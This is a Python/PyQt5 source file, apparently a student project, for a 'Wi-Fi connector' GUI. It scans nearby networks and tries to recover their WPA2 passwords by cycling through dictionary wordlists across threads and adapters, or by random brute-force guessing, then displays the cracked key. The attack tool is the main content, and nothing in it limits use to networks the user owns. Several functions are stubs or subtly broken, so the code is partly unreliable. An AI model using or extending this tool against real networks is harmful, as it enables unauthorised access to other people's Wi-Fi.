"""
默认模版
@author: 任磊
@software: Pycharm
@time: 2024/9/14 15:22
"""

"""
WIFI连接器 v1.00

功能：1，检测周围wifi
     2，暴力枚举密码连接wifi
     3，使用字典密码连接wifi(可多线程)
     4，显示已有的wifi名与密码
简要日志：
1.00 版本 完成于 2024-9-20
"""

import os
import sys
import threading
import time
import pywifi
from pywifi import PyWiFi, const
import socket
from PyQt5 import QtCore, QtWidgets
from random import choice, randint
from PyQt5.QtGui import QIcon, QMovie
from PyQt5.QtWidgets import QApplication, QMainWindow, QAction, QTableWidgetItem, QAbstractItemView, QMessageBox, QWidget
import asyncio
from threading import Thread, Lock
from multiprocessing import Process, Manager, Lock
import pymysql
from dbutils.pooled_db import PooledDB
from filetype import get_type

class Main_program(object):
    """
    用于支持主程序及运行逻辑的类
    """
    show_working = None
    thread_work_list = []  # 线程列表
    process_ban = True  # 进程限制标志
    active_abandon = False  # 主动放弃标志

    def __init__(self, form):
        super().__init__()
        self.version = '1.00'  # 版本
        self.wifi = Wifi_program()
        self.work_list = []
        self.form = form
        self.window = Init_window()
        self.run()
        self.form.setWindowTitle("wifi连接器 {}".format(self.version))  # 标题

    def run(self):
        """
        用于实现系统的初始化的方法
        包括：网络测试，界面组件功能的配置
        :return: None
        """
        # 测试网络状态
        if self.test_net() is True:
            self.window.setupUi(self.form)
            self.window.textEdit.setText("系统初始化中，请稍后...")
            # 完成界面功能组件的配置
            if self.init_window():
                self.window.textEdit.clear()
                self.window.textEdit.setText("系统初始化成功！\n请点击探测wifi按钮")
            else:
                self.window.textEdit.clear()
                self.window.textEdit.setText("系统初始化失败！\n请重启系统")
        else:
            self.window.textEdit.setText("")

    def init_window(self):
        """
        实现页面按钮与对应功能进行连接的函数
        返回处理结果
        :return: flag
        """
        flag = False  # 用于判断页面是否配置完成的标志
        try:
            self.window.commandLinkButton_2.clicked.connect(self.wifi_search_function)  # 开始探查wifi按钮
            self.window.pushButton_2.clicked.connect(self.setting_ready_function)  # 配置确定按钮
            self.window.pushButton_3.clicked.connect(self.setting_reset_function)  # 配置重置按钮
            self.window.commandLinkButton.clicked.connect(self.wifi_crack_function)  # 开始破解wifi按钮
            self.window.commandLinkButton_r.clicked.connect(self.wifi_research_function)  # wifi数据刷新按钮
            flag = True
        except RuntimeError:
            flag = False
        finally:
            return flag

    def wifi_search_function(self):
        """
        探测wifi按钮的响应函数
        :return:None
        """
        self.window.commandLinkButton_2.clicked.disconnect()
        self.window.textEdit.clear()
        if self.wifi.wifi_ready_flag is False:  # 判断WiFii是否已经搜索
            self.window.textEdit.setText("正在探查wifi...")
            if self.wifi.search_wifi():
                self.window.tabWidget.setRowCount(len(self.wifi.wifi_dict))
                self.window.tabWidget.setColumnCount(3)
                for i, data in enumerate(self.wifi.wifi_dict):
                    self.window.tabWidget.setItem(i, 0, QTableWidgetItem("{}".format(i+1)))
                    self.window.tabWidget.setItem(i, 1, QTableWidgetItem(str(data)))
                    self.window.tabWidget.setItem(i, 2, QTableWidgetItem(str(self.wifi.wifi_dict[data])))
                    self.wifi.wifi_name_list.append(data)
                    # print(str(self.wifi.wifi_strength_list[i]).strip("%"))
                self.window.textEdit.clear()
                self.window.textEdit.setText("wifi探查完毕！")
            else:
                self.window.textEdit.clear()
                self.window.textEdit.setText("wifi探查失败！")
        else:
            self.window.textEdit.setText("wifi已经探查过了！")
        self.window.commandLinkButton_2.clicked.connect(self.wifi_search_function)

    def wifi_research_function(self) -> None:
        """
        响应刷新按钮的方法
        :return: None
        """
        self.window.commandLinkButton_r.clicked.disconnect()
        self.window.textEdit.clear()
        if self.wifi.wifi_ready_flag is True:
            self.wifi.wifi_dict.clear()  # 清除已有数据
            self.window.tabWidget.setRowCount(0)
            if self.wifi.search_wifi():
                self.window.tabWidget.setRowCount(len(self.wifi.wifi_dict))
                self.window.tabWidget.setColumnCount(3)
                for i, data in enumerate(self.wifi.wifi_dict):
                    self.window.tabWidget.setItem(i, 0, QTableWidgetItem("{}".format(i+1)))
                    self.window.tabWidget.setItem(i, 1, QTableWidgetItem(str(data)))
                    self.window.tabWidget.setItem(i, 2, QTableWidgetItem(str(self.wifi.wifi_dict[data])))
                    self.wifi.wifi_name_list.append(data)
                self.window.textEdit.setText("刷新完毕")
            else:
                self.window.textEdit.setText("刷新失败！")
        else:
            self.window.textEdit.setText("请先探查wifi！")
        self.window.commandLinkButton_r.clicked.connect(self.wifi_research_function)

    def setting_ready_function(self):
        """
        破解配置设置完成时，确认按钮的响应函数
        :return:None
        """
        self.window.pushButton_2.clicked.disconnect()
        self.window.textEdit.clear()
        if self.wifi.wifi_ready_flag is False:
            self.window.textEdit.setText("未探查wifi！")
        else:
            flag = False
            # 获得各项参数配置
            setting_num = self.window.lineEdit.text()
            setting_thread = self.window.comboBox_2.currentText()
            setting_time = self.window.lineEdit_3.text()
            setting_number = self.window.checkBox.isChecked()
            setting_capital = self.window.checkBox_2.isChecked()
            setting_lowercase = self.window.checkBox_4.isChecked()
            setting_other = self.window.checkBox_3.isChecked()
            setting_min = self.window.lineEdit_5.text()
            setting_max = self.window.lineEdit_6.text()
            # 检查序号的输入是否正确
            if setting_num.isdigit() or setting_num == "":
                if setting_num == "":
                    setting_num = 0
                    self.window.lineEdit.setText("1")
                else:
                    setting_num = int(setting_num) - 1
                if 0 <= setting_num <= len(self.wifi.wifi_dict):
                    # 检查时间的输入是否正确
                    if setting_time.isdigit():
                        setting_time = int(setting_time)
                        if 0 < setting_time < self.wifi.max_test_time:
                            # 检查密码类型
                            if setting_number or setting_capital or setting_lowercase or setting_other:
                                # 检查密码长度
                                if setting_min.isdigit() and setting_max.isdigit():
                                    setting_min = int(setting_min)
                                    setting_max = int(setting_max)
                                    if setting_min >= self.wifi.wifi_standard_min and setting_max <= self.wifi.wifi_standard_max:
                                        if setting_min <= setting_max:
                                            if int(setting_thread) <= len(Wifi_program.adaptor_list):
                                                flag = True
                                            else:
                                                self.window.textEdit.setText("依据网卡数量，任务数量不能大于{}".format(len(Wifi_program.adaptor_list)))
                                        else:
                                            self.window.textEdit.setText("最小长度大于最长？")
                                    else:
                                        self.window.textEdit.setText("密钥长度需在{}到{}之间".format(self.wifi.wifi_standard_min, self.wifi.wifi_standard_max))
                                else:
                                    self.window.textEdit.setText("请输入正确的密钥长度！")
                            else:
                                self.window.textEdit.setText("密码需至少含有一种类型！")
                        else:
                            self.window.textEdit.setText("时间不能小于0或大于{}".format(self.wifi.max_test_time))
                    else:
                        self.window.textEdit.setText("请输入正确的时间！")
                else:
                    self.window.textEdit.setText("不存在该序号！")
            else:
                self.window.textEdit.setText("请输入正确的序号！")
            if flag:
                # 更改准备标志
                self.wifi.crack_ready_flag = True
                self.wifi.target_wifi_name = self.wifi.wifi_name_list[setting_num]
                self.wifi.test_work = setting_thread
                self.wifi.test_time = setting_time
                self.wifi.test_capital_flag = setting_capital
                self.wifi.test_lowercase_flag = setting_lowercase
                self.wifi.test_number_flag = setting_number
                self.wifi.test_other_flag = setting_other
                self.wifi.test_min_length = setting_min
                self.wifi.test_max_length = setting_max

                self.window.textEdit.setText("配置已就绪！")
            else:
                pass
        self.window.pushButton_2.clicked.connect(self.setting_ready_function)

    def setting_reset_function(self):
        """
        破解配置重置按钮的响应函数
        :return:None
        """
        self.window.pushButton_3.clicked.disconnect()
        # 重置各项参数
        self.window.lineEdit.setText("")
        self.window.comboBox_2.setCurrentText("1")
        self.window.lineEdit_3.setText("")
        self.window.lineEdit_5.setText("")
        self.window.lineEdit_6.setText("")
        self.window.checkBox.setChecked(False)
        self.window.checkBox_2.setChecked(False)
        self.window.checkBox_3.setChecked(False)
        self.window.checkBox_4.setChecked(False)
        # 更新提示
        self.window.textEdit.clear()
        self.wifi.crack_ready_flag = False  # 设置配置就绪标志
        self.window.textEdit.setText("配置已重置！")
        self.window.pushButton_3.clicked.connect(self.setting_reset_function)

    def wifi_crack_function(self):
        """
        开始破解WiFi按钮的相应函数
        先判断是否存在wifi密码字典，若存在则使用字典破解，否者使用组合暴力破解尝试
        :return:None
        """
        global work_flag
        global t_lock
        self.window.commandLinkButton.clicked.disconnect()
        self.window.textEdit.clear()
        if self.wifi.crack_ready_flag:
            # 判断破解所需数据
            signal_1 = self.wifi.test_number_flag
            signal_2 = self.wifi.test_capital_flag
            signal_3 = self.wifi.test_lowercase_flag
            signal_4 = self.wifi.test_other_flag
            min_length = self.wifi.test_min_length
            max_length = self.wifi.test_max_length
            exist_flag, yes_flag = self.test_wifi_psd_book()
            # 判断是否存在密码本
            if exist_flag:
                t_lock.acquire()
                work_flag = True
                t_lock.release()
                # 根据设置的数量启用wifi破解线程
                for i in range(int(self.wifi.test_work)):
                    th = threading.Thread(target=self.wifi.crack_wifi_thread_3, args=(Wifi_program.adaptor_list[i], self.wifi.target_wifi_name, self.wifi.test_time))
                    th.start()
                    Main_program.thread_work_list.append(th)
                # 启用计时线程
                th = threading.Thread(target=Main_program.close_show_working, args=(self.wifi.test_time, ))
                th.start()
                Main_program.thread_work_list.append(th)
                # 显示询问框
                self.show_test_psd_book()
                self.window.textEdit.clear()
                if self.wifi.success_flag:  # 判断是否连接成功
                    self.window.lineEdit_4.setEnabled(True)
                    self.window.lineEdit_4.clear()
                    self.window.lineEdit_4.setText("{}".format(self.wifi.target_wifi_psd))
                    # self.window.lineEdit_4.setEnabled(False)
                    self.window.textEdit.setText("wifi:{} 连接成功！".format(self.wifi.target_wifi_name))
                else:
                    if Main_program.active_abandon:
                        self.window.textEdit.setText("您终止了wifi的连接！")
                    else:
                        self.window.textEdit.setText("wifi:{}\n连接失败！！".format(self.wifi.target_wifi_name))
            else:
                # 判断是否在无密码本的情况下继续破解，以及进程限制是否关闭
                if yes_flag:
                    # 判断进程限制是否启用
                    if Main_program.process_ban:
                        self.window.textEdit.clear()
                        self.window.textEdit.setText("由于进程限制已启用\n无法进行多进程破解！")
                    else:
                        # 添加锁
                        lock = Lock()
                        # 采用共享数据进行进程间通信
                        with Manager as m:
                            flag = m.dict({"flag": True})
                            # 依次创建并启动进程
                            for item in range(self.wifi.test_work):
                                adaptor = self.wifi.wlan_adaptor
                                name = self.wifi.target_wifi_name
                                work = Process(target=Wifi_program.crack_wifi_process_2, args=(
                                    adaptor, name, signal_1, signal_2, signal_3, signal_4, min_length, max_length, flag,
                                    lock))
                                self.work_list.append(work)
                                work.start()
                            # 设置并启用时间线程
                            time_length = self.wifi.test_time
                            th = Thread(target=Wifi_program.limit_time_process,
                                        args=(time_length, self.work_list, self.window))
                            th.start()
                            # 更新提示框
                            self.window.textEdit.clear()
                            self.window.textEdit.setText("正在破解中...")
                else:
                    self.window.textEdit.setText("由于没有wifi密码本\n您取消了破解wifi！")
        else:
            self.window.textEdit.setText("请先配置相关参数！")
        self.window.commandLinkButton.clicked.connect(self.wifi_crack_function)

    def test_net(self):
        """
        测试网络状态
        :return: True/False
        """
        ipaddress = socket.gethostbyname(socket.gethostname())
        if ipaddress == '127.0.0.1':
            return False
        else:
            return True

    def test_wifi_psd_book(self):
        """
        用于检测是否存在密码本的方法
        若存在密码本，则使用密码本进行破解；反之则提示是否继续
        :return:True/False
        """
        # 检测是否存在密码本
        if len(os.listdir(".\wifi_psd_book")) != 0:
            # 存在返回True
            return True, True
        else:
            # 不存在，弹出窗口提示是否继续破解WiFi,根据决定返回值
            choice = QMessageBox(QMessageBox.Question, '询问框', '未能找到密码本，是否继续破解？', QMessageBox.Yes | QMessageBox.No)
            choice.exec_()
            return False, True if choice == QMessageBox.Yes else False

    def show_test_psd_book(self):
        """
        用于提示用户当前正处于尝试中
        :return: True/False
        """
        global t_lock
        global work_flag
        Main_program.active_abandon = False
        Main_program.show_working = QMessageBox(QMessageBox.Question, "提示", '尝试连接中...')
        Main_program.show_working.setStandardButtons(QMessageBox.Yes)
        cancel_button = Main_program.show_working.button(QMessageBox.Yes)
        cancel_button.setText('终止')
        Main_program.show_working.exec_()
        if Main_program.show_working.clickedButton() == cancel_button:
            t_lock.acquire()
            self.wifi.exit_flag = True
            Main_program.active_abandon = True
            work_flag = False
            t_lock.release()

    @staticmethod
    def close_show_working(t):
        """
        关闭目标弹窗的方法
        规定时间内，关闭目标弹窗
        :param t:限制时间
        :return: None
        """
        global work_flag
        global t_lock
        start = time.time()
        if t != 0:
            while work_flag:
                if time.time() - start > t: break
        t_lock.acquire()
        work_flag = False
        t_lock.release()
        if isinstance(Main_program.show_working, QMessageBox):
            Main_program.show_working.close()


class Wifi_program(object):
    """
    处理wifi的类
    """
    adaptor_list = []  # 网卡列表
    have_try_book = []  # 已使用过的密码本名列表

    def __init__(self):
        self.pywifi = PyWiFi()  # 创建pywifi对象
        self.wlan_adaptor = self.pywifi.interfaces()[0]  # 获得第一个网卡
        for interface in self.pywifi.interfaces():  # 添加网卡
            Wifi_program.adaptor_list.append(interface)
        self.wifi_dict = {}  # 保存获得的wifi数据：wifi_name,wifi_strength
        self.wifi_name_list = []
        # wifi破解准备参数
        self.wifi_ready_flag = False  # 是否已探查wifi的标志
        self.crack_ready_flag = False  # 配置是否完成的标志
        self.max_test_time = 300  # 最大测试时间为 300 秒
        self.wifi_standard_min = 8  # 密码最小长度
        self.wifi_standard_max = 16  # 密钥最大长度
        # wifi破解配置参数
        self.target_wifi_name = None  # 目标wifi
        self.target_wifi_psd = None  # 目标WiFi密码
        self.test_min_length = 8  # 密钥限制最小长度
        self.test_max_length = 16  # 密钥限制最大长度
        self.test_time = 0  # 破解限制时间
        self.test_work = 1  # 破解限制任务数
        # self.wifi_psd_book = False  # 是否含有密码本
        self.test_number_flag = False  # 含有数字
        self.test_capital_flag = False  # 含有大写字母
        self.test_lowercase_flag = False  # 含有小写字母
        self.test_other_flag = False  # 含有其他
        self.test_continue_flag = False  # 用于在多任务中判断是否继续执行任务的标志
        self.exit_flag = False  # 退出破解的标志
        self.success_flag = False  # 破解结果

    def search_wifi(self):
        """
        用于获取周围的wifi数据及对应的强度的方法
        返回获取的结果
        :return:True/False
        """
        self.wlan_adaptor.scan()
        time.sleep(1)
        scan_result = self.wlan_adaptor.scan_results()
        time_dict = {}
        for data in scan_result:
            # print("WiFi名称:" + data.ssid.encode("raw_unicode_escape").decode() + ",信号强度:", str(data.signal + 100) + "%")
            # self.wifi_name_list.append(data.ssid.encode("raw_unicode_escape").decode())
            # self.wifi_strength_list.append(str(data.signal + 100) + "%")
            time_data = {data.ssid.encode("raw_unicode_escape").decode(): int(data.signal + 100)}
            time_dict.update(**time_data)
        data = sorted(time_dict.items(), key=lambda x: x[1], reverse=True)  # 依据wifi的强度对wifi进行排序
        self.wifi_dict.update(data)
        if self.wifi_dict:
            self.wifi_ready_flag = True
            return True
        else:
            return False

    @staticmethod
    def crack_wifi_process_1(adaptor, name, s1, s2, s3, s4, min_l, max_l, flag, lock):
        """
        破解wifi的单个任务
        破解方式为：序列查找
        :return: None
        """
        print("启动！")
        mk_psd = Crypto_program(s1, s2, s3, s4, min_l, max_l)
        while flag["flag"]:
            for num in range(min_l, max_l):
                psd = mk_psd.make_psd_order()
                if Wifi_program.connect_wifi(adaptor, name, psd):
                    with lock:
                        flag['flag'] = False
                    break

    @staticmethod
    def crack_wifi_process_2(adaptor, name, s1, s2, s3, s4, min_l, max_l, flag, lock):
        """
        破解wifi的单个任务
        破解方式为：随机查找
        :return: None
        """
        print("随机查找进程已启动")
        mk_psd = Crypto_program(s1, s2, s3, s4, min_l, max_l)
        while flag["flag"]:
            for num in range(min_l, max_l):  #
                psd_str = mk_psd.random_gen(num)
                psd_list = mk_psd.make_psd_random(psd_str)
                for psd in psd_list:
                    if Wifi_program.connect_wifi(adaptor, name, psd):
                        with lock:
                            flag['flag'] = False
                        break

    def crack_wifi_thread_3(self, adaptor, name, max_time):
        """
        破解WiFi的线程任务
        默认使用字典查找
        线程的启用数量与网卡数量有关：线程数量 = 网卡数量
        :return:True/False,psd
        """
        global work_flag
        global t_lock
        start_time = time.time()
        out = False
        file_list = os.listdir(".\wifi_psd_book")
        for _ in range(len(file_list)):
            file = file_list[randint(0, len(file_list) - 1)]
            if work_flag is False: break
            # 判断改密码本是否已使用过
            if file not in Wifi_program.have_try_book:
                # 判断是否为txt文件
                if file.split(".")[1] == "txt":
                    with open(".\wifi_psd_book\\" + file, "r") as f:
                        psd_list = f.readlines()
                    for psd in psd_list:
                        if work_flag is False:  # 判断是否终止
                            break
                        if Wifi_program.connect_wifi(adaptor, name, psd.strip("\n")):  # 判断是否连接成功
                            t_lock.acquire()
                            self.exit_flag = True
                            Main_program.close_show_working(0)
                            self.success_flag = True
                            work_flag = False
                            t_lock.release()
                            self.target_wifi_psd = psd.strip("\n")
                            break
                        if time.time() - start_time > max_time:  # 判断时间限制
                            break
                else:
                    continue
                if work_flag is False:
                    break
                t_lock.acquire()
                if file not in Wifi_program.have_try_book: Wifi_program.have_try_book.append(file)   # 添加目标密码本
                t_lock.release()
            else:
                continue

    @staticmethod
    def limit_time_process(time_length, work_list, window):
        """
        用于进行时间限制的进程
        :param time_length:
        :return: None
        """
        start_time = time.time()
        while time.time() - start_time < time_length:pass
        # 依次停止各个进程
        for work in work_list:
            work.terminate()
        window.textEdit.clear()
        window.textEdit.setText("已达到限制时间：{}".format(time_length))

    @staticmethod
    def connect_wifi(adaptor, name, psd) -> bool:
        """
        用于实现连接目标wifi的方法
        :return: True/False
        """
        profile = pywifi.Profile()  # 配置文件
        profile.ssid = name  # wifi名称
        profile.auth = const.AUTH_ALG_OPEN  # 需要密码
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  # 普通加密类型
        profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
        profile.key = psd  # wifi密码
        # adaptor.remove_all_network_profiles()  # 删除其它配置文件
        tmp_profile = adaptor.add_network_profile(profile)  # 加载配置文件
        adaptor.connect(tmp_profile)  # 连接wifi
        time.sleep(1)  # 等待连接
        # 检查wifi是否连接成功
        if adaptor.status() == const.IFACE_CONNECTED:
            return True  # 连接成功
        else:
            return False  # 本次尝试失败


class Crypto_program(object):
    """
    处理密码相关的类
    """
    str_number = "0123456789"  # 数字字符串
    str_lowercase = "abcdefghijklmnopqrstuvwxyz"  # 小写字母字符串
    str_capital = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"  # 大写字母字符串
    str_other = "@#$%^&*()<>_+-=.?/|\:{}"  # 其他字符串
    base_str = ""

    def __init__(self, number_flag, capital_flag, lowercase_flag, other_flag, min_l, max_l):
        """
        完成对母板参数配置的方法
        根据创建对象时输入的参数，决定母板所需要的字符串类型和组合
        :param number_flag: 是否需要数字
        :param capital_flag: 是否需要大写字母
        :param lowercase_flag: 是否需要小写字母
        :param other_flag: 是否需要其他
        """
        self.now_l = min_l
        self.max_l = max_l
        self.base_str = ""  # 用于破解的字符串母板
        self.now_psd = ""  # 实时密码
        if number_flag:
            self.base_str += Crypto_program.str_number
        if capital_flag:
            self.base_str += Crypto_program.str_capital
        if lowercase_flag:
            self.base_str += Crypto_program.str_lowercase
        if other_flag:
            self.base_str += Crypto_program.str_other
        Crypto_program.base_str = self.base_str

    def make_psd_order(self, num):
        """
        用于实现产生密码的方法
        顺序组合
        :return: psd
        """
        pass

    def make_psd_random(self, num):
        """
        用于实现产生密码列表的方法
        采用递归思想
        :return: psd_list
        """
        psd_list = []
        for i in range(len(num)):  # 这个循环，对应 解题思路1）确定字符串的第一个字母是谁，有n种可能（n为字符串s的长度
            for j in self.make_psd_random(num[0:i] + num[i + 1:]):  # 这个循环，对应 解题思路2）进入递归，s[0:i]+s[i+1:]的意思就是把s中的s[i]给去掉
                psd_list.append(num[i] + j)  # 对应 解题思路2）问题就从“返回字符串中的字母排列组合” **变成了** “返回 第一个字母+除去第一个字母外的字符串的排列组合”
        return psd_list

    def random_gen(self, num):
        """
        随机生成指定长度密钥的方法
        :param num: 密钥长度
        :return: psd
        """
        psd = str()
        for i in range(num):
            psd += choice(self.base_str)
        return psd


class Init_window(object):
    """
    实现窗口显示的类
    """
    def __init__(self):
        super().__init__()
        self.form = None

    def setupUi(self, Form):
        """
        设置页面的组件参数
        :param Form: Form
        :return: None
        """
        self.form = Form
        Form.setObjectName("Form")
        # 界面大小
        Form.resize(700, 500)
        # 菜单栏
        self.menu = QtWidgets.QMenuBar(Form)
        self.menu.setGeometry(5, 5, 690, 30)
        self.menu_file = self.menu.addMenu("文件")  # 菜单：文件
        self.menu_setting = self.menu.addMenu("设置")  # 菜单：设置
        self.menu_help = self.menu.addMenu("帮助")  # 菜单：帮助
        self.menu_about = self.menu.addMenu("关于")  # 菜单：关于
        # 创建菜单动作
        action_save = QAction("保存", Form)  # 文件：保存
        action_open = QAction("打开", Form)  # 文件：打开
        action_path = QAction("路径", Form)  # 文件：路径
        action_exit = QAction("退出", Form)  # 文件：退出
        action_setting = QAction("设置", Form)  # 设置：设置
        action_help = QAction("帮助", Form)  # 帮助：帮助
        action_about = QAction("关于", Form)  # 帮助：帮助
        # 动作绑定方法
        action_exit.triggered.connect(self.file_exit_function)
        action_setting.triggered.connect(self.setting_window_function)
        action_help.triggered.connect(self.help_window_function)
        action_about.triggered.connect(self.about_window_function)
        # 分配菜单动作
        self.menu_file.addAction(action_save)
        self.menu_file.addAction(action_open)
        self.menu_file.addAction(action_path)
        self.menu_file.addAction(action_exit)
        self.menu_setting.addAction(action_setting)
        self.menu_help.addAction(action_help)
        self.menu_about.addAction(action_about)
        # 文本框：wifi数据显示框
        self.tabWidget = QtWidgets.QTableWidget(Form)
        self.tabWidget.setGeometry(QtCore.QRect(10, 70, 400, 300))
        self.tabWidget.setObjectName("tabWidget")
        self.tabWidget.setColumnCount(3)
        self.tabWidget.setRowCount(0)
        item = QtWidgets.QTableWidgetItem()
        self.tabWidget.setHorizontalHeaderItem(0, item)
        item = QtWidgets.QTableWidgetItem()
        self.tabWidget.setHorizontalHeaderItem(1, item)
        item = QtWidgets.QTableWidgetItem()
        self.tabWidget.setHorizontalHeaderItem(2, item)
        # 标签：WiFi数据显示标签
        self.label = QtWidgets.QLabel(Form)
        self.label.setGeometry(QtCore.QRect(10, 40, 80, 30))
        self.label.setObjectName("label")
        # 文本框：提示框
        self.textEdit = QtWidgets.QTextEdit(Form)
        self.textEdit.setGeometry(QtCore.QRect(420, 70, 250, 60))
        self.textEdit.setObjectName("textEdit")
        # 按钮：密码破解
        self.commandLinkButton = QtWidgets.QCommandLinkButton(Form)
        self.commandLinkButton.setGeometry(QtCore.QRect(420, 450, 200, 50))
        self.commandLinkButton.setObjectName("commandLinkButton")
        # 标签：线程限制
        self.label_2 = QtWidgets.QLabel(Form)
        self.label_2.setGeometry(QtCore.QRect(420, 220, 80, 30))
        self.label_2.setObjectName("label_2")
        # 输入栏：线程限制
        self.comboBox_2 = QtWidgets.QComboBox(Form)
        self.comboBox_2.setGeometry(QtCore.QRect(510, 220, 160, 30))
        self.comboBox_2.setObjectName("comboBox")
        self.comboBox_2.addItem("")
        self.comboBox_2.addItem("")
        self.comboBox_2.addItem("")
        # 标签：提示框
        self.label_3 = QtWidgets.QLabel(Form)
        self.label_3.setGeometry(QtCore.QRect(420, 40, 60, 30))
        self.label_3.setObjectName("label_3")
        # 标签：破解配置
        self.label_4 = QtWidgets.QLabel(Form)
        self.label_4.setGeometry(QtCore.QRect(470, 140, 120, 40))
        self.label_4.setObjectName("label_4")
        # 标签：时间限制
        self.label_5 = QtWidgets.QLabel(Form)
        self.label_5.setGeometry(QtCore.QRect(420, 260, 80, 30))
        self.label_5.setObjectName("label_5")
        # 输入栏：时间限制
        self.lineEdit_3 = QtWidgets.QLineEdit(Form)
        self.lineEdit_3.setGeometry(QtCore.QRect(510, 260, 160, 30))
        self.lineEdit_3.setText("")
        self.lineEdit_3.setObjectName("lineEdit_3")
        # 多选框：是否含有数字
        self.checkBox = QtWidgets.QCheckBox(Form)
        self.checkBox.setGeometry(QtCore.QRect(420, 330, 100, 30))
        self.checkBox.setObjectName("checkBox")
        # 多选框：是否含有大写字母
        self.checkBox_2 = QtWidgets.QCheckBox(Form)
        self.checkBox_2.setGeometry(QtCore.QRect(420, 370, 100, 30))
        self.checkBox_2.setObjectName("checkBox_2")
        # 多选框：是否含有小写字母
        self.checkBox_4 = QtWidgets.QCheckBox(Form)
        self.checkBox_4.setGeometry(QtCore.QRect(560, 370, 100, 30))
        self.checkBox_4.setObjectName("checkBox_4")
        # 多选框：含有其他
        self.checkBox_3 = QtWidgets.QCheckBox(Form)
        self.checkBox_3.setGeometry(QtCore.QRect(560, 330, 100, 30))
        self.checkBox_3.setObjectName("checkBox_3")
        # 按钮：配置确定
        self.pushButton_2 = QtWidgets.QPushButton(Form)
        self.pushButton_2.setGeometry(QtCore.QRect(420, 410, 80, 30))
        self.pushButton_2.setObjectName("pushButton_2")
        # 按钮：配置重置
        self.pushButton_3 = QtWidgets.QPushButton(Form)
        self.pushButton_3.setGeometry(QtCore.QRect(560, 410, 80, 30))
        self.pushButton_3.setObjectName("pushButton_3")
        # 开始探查按钮
        self.commandLinkButton_2 = QtWidgets.QCommandLinkButton(Form)
        self.commandLinkButton_2.setGeometry(QtCore.QRect(10, 380, 200, 50))
        self.commandLinkButton_2.setObjectName("commandLinkButton_2")
        # 刷新按钮
        self.commandLinkButton_r = QtWidgets.QCommandLinkButton(Form)
        self.commandLinkButton_r.setGeometry(QtCore.QRect(280, 380, 130, 50))
        self.commandLinkButton_r.setObjectName("commandLinkButton_r")
        # 标签：wifi序号
        self.label_7 = QtWidgets.QLabel(Form)
        self.label_7.setGeometry(QtCore.QRect(420, 180, 80, 30))
        self.label_7.setObjectName("label_7")
        # 输入栏：wifi序号
        self.lineEdit = QtWidgets.QLineEdit(Form)
        self.lineEdit.setGeometry(QtCore.QRect(510, 180, 160, 30))
        self.lineEdit.setText("")
        self.lineEdit.setObjectName("lineEdit")
        # 显示栏：显示破解的wifi密码
        self.lineEdit_4 = QtWidgets.QLineEdit(Form)
        self.lineEdit_4.setGeometry(QtCore.QRect(130, 450, 250, 30))
        self.lineEdit_4.setObjectName("lineEdit_4")
        # 标签：“目标WIFI”
        self.label_8 = QtWidgets.QLabel(Form)
        self.label_8.setGeometry(QtCore.QRect(10, 450, 120, 30))
        self.label_8.setObjectName("label_8")
        # 标签：密码范围
        self.label_9 = QtWidgets.QLabel(Form)
        self.label_9.setGeometry(QtCore.QRect(420, 300, 80, 30))
        self.label_9.setObjectName("label_9")
        # 输入栏：密码最小长度
        self.lineEdit_5 = QtWidgets.QLineEdit(Form)
        self.lineEdit_5.setGeometry(QtCore.QRect(510, 300, 80, 30))
        self.lineEdit_5.setObjectName("lineEdit_5")
        # 输入栏：密码最答长度
        self.lineEdit_6 = QtWidgets.QLineEdit(Form)
        self.lineEdit_6.setGeometry(QtCore.QRect(590, 300, 80, 30))
        self.lineEdit_6.setObjectName("lineEdit_6")

        self.retranslateUi(Form)
        QtCore.QMetaObject.connectSlotsByName(Form)

    def help_window_function(self) -> None:
        """
        菜单栏按钮 帮助 的响应方法
        :return: None
        """
        qb = QMessageBox(QMessageBox.Information, "帮助", "我也不知道>^<", QMessageBox.Ok)
        qb.exec_()

    def about_window_function(self) -> None:
        """
        菜单栏按钮 关于 的响应方法
        :return: None
        """
        qb = QMessageBox(QMessageBox.Information, "关于", "事大学生编写的罢", QMessageBox.Ok)
        qb.exec_()

    def file_save_window_function(self) -> None:
        """

        :return: None
        """
        pass

    def file_open_window_function(self) -> None:
        """

        :return: None
        """
        pass

    def file_path_window_function(self) -> None:
        """

        :return: None
        """
        pass

    def file_exit_function(self) -> None:
        """
        文件菜单中退出选项的响应方法
        :return: None
        """
        qb = QMessageBox(QMessageBox.Warning, "退出", "您确定退出系统吗？", QMessageBox.Ok | QMessageBox.Cancel)
        qb.exec_()
        if qb == QMessageBox.Ok:  # 判断选择
            pass
        else:
            self.form.destroy()
            sys.exit()

    def setting_window_function(self) -> None:
        """
        用于设置菜单的相应方法
        :return: None
        """
        qb = QMessageBox(QMessageBox.Information, "设置", "前面的区域以后再来探索吧>^<", QMessageBox.Ok)
        qb.exec_()

    def retranslateUi(self, Form):
        _translate = QtCore.QCoreApplication.translate
        Form.setWindowTitle(_translate("Form", "Form"))
        # 输入栏：wifi密码显示栏
        item = self.tabWidget.horizontalHeaderItem(0)
        item.setText(_translate("Form", "序号"))
        item = self.tabWidget.horizontalHeaderItem(1)
        item.setText(_translate("Form", "wifi名"))
        item = self.tabWidget.horizontalHeaderItem(2)
        item.setText(_translate("Form", "强度"))
        self.label.setText(_translate("Form", "WIFI列表"))
        self.textEdit.setPlaceholderText(_translate("Form", "请先探查WIFI"))
        self.commandLinkButton.setText(_translate("Form", "开始连接WIFI"))
        self.label_2.setText(_translate("Form", "任务限制："))
        self.comboBox_2.setItemText(0, _translate("Form", "1"))
        self.comboBox_2.setItemText(1, _translate("Form", "2"))
        self.comboBox_2.setItemText(2, _translate("Form", "3"))
        self.label_3.setText(_translate("Form", "提示框；"))
        self.label_4.setText(_translate("Form", "基础参数配置"))
        self.label_5.setText(_translate("Form", "时间限制："))
        self.lineEdit_3.setPlaceholderText(_translate("Form", "单位为秒"))
        self.checkBox.setText(_translate("Form", "含有数字"))
        self.checkBox_2.setText(_translate("Form", "大写字母"))
        self.checkBox_4.setText(_translate("Form", "小写字母"))
        self.checkBox_3.setText(_translate("Form", "含有其他"))
        self.pushButton_2.setText(_translate("Form", "确定"))
        self.pushButton_3.setText(_translate("Form", "重置"))
        self.commandLinkButton_2.setText(_translate("Form", "开始探查WIFI"))
        self.commandLinkButton_r.setText(_translate("Form", "刷新"))
        self.label_7.setText(_translate("Form", "wifi序号："))
        self.lineEdit.setPlaceholderText(_translate("Form", "默认为第一个"))
        self.lineEdit_4.setPlaceholderText(_translate("Form", "这里会显示获得的WIFI密码"))
